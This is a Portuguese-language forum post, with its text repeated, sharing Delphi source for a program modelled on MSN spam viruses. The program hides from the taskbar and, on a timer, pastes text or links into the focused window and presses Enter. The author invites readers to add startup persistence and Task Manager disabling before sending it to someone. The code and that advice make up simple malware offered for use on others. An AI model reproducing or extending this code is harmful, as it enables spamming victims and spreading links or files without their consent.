E ae galera... blz?
A funcao que eu vou colocar abaixo e quase igual aqueles virus chatos de msn, que fica mandando mensagem diretas com links... e tals..
entao nao executem !
se executarem e so retirar pelo gerenciador de tarefas.
Bom galera....
esse comando e bem simples..
eu nao coloquei para iniciar com o Windows e nem para desabilitar o gerenciador de tarefas, mais e muito facil de acrescentar (nao coloquei caso alguem execute, seja mais facil de retirar, ai caso voce queira enviar para alguem e bom acrescentar esses comandos)
o que eles faz?
ele roda um handle e procura de tempo em tempo por janelas de msn (tudo aonde da pra digitar, navegador, bloco de notas, ETC) depois ele comeca a enviar mensagems ou links (poder ser mensagem, arquivo, link vai de seu gosto)...
Bom e isso galera....
Espero que gostem.
OBS: sou novo aqui no forum, entao se eu estiver postando errado me deem uma dica ai galera....
Valews ai :cool:
A funcao que eu vou colocar abaixo e quase igual aqueles virus chatos de msn, que fica mandando mensagem diretas com links... e tals..
entao nao executem !
se executarem e so retirar pelo gerenciador de tarefas.
Código:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, StdCtrls,Clipbrd,ComCtrls; type TForm1 = class(TForm) Timer1: TTimer; Memo1: TMemo; procedure Timer1Timer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Timer1Timer(Sender: TObject); begin Clipboard.AsText := memo1.Text; keybd_event(VK_CONTROL, 0, KEYEVENTF_EXTENDEDKEY or 0, 0); keybd_event(86, 0, 0, 0); keybd_event(VK_CONTROL, $45, KEYEVENTF_EXTENDEDKEY or KEYEVENTF_KEYUP, 0); keybd_event(VK_RETURN, 0, KEYEVENTF_EXTENDEDKEY or 0, 0); end; procedure TForm1.FormCreate(Sender: TObject); type TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall; var Handle: THandle; RegisterServiceProcess: TRegisterServiceProcess; begin SetWindowLong(Application.Handle, GWL_EXSTYLE, //A aplicacao nao aparece na barra de tarevas GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); Timer1.Enabled:=true; //Ativa o Timer end; end.
Bom galera....
esse comando e bem simples..
eu nao coloquei para iniciar com o Windows e nem para desabilitar o gerenciador de tarefas, mais e muito facil de acrescentar (nao coloquei caso alguem execute, seja mais facil de retirar, ai caso voce queira enviar para alguem e bom acrescentar esses comandos)
o que eles faz?
ele roda um handle e procura de tempo em tempo por janelas de msn (tudo aonde da pra digitar, navegador, bloco de notas, ETC) depois ele comeca a enviar mensagems ou links (poder ser mensagem, arquivo, link vai de seu gosto)...
Bom e isso galera....
Espero que gostem.
OBS: sou novo aqui no forum, entao se eu estiver postando errado me deem uma dica ai galera....
Valews ai :cool:
Comment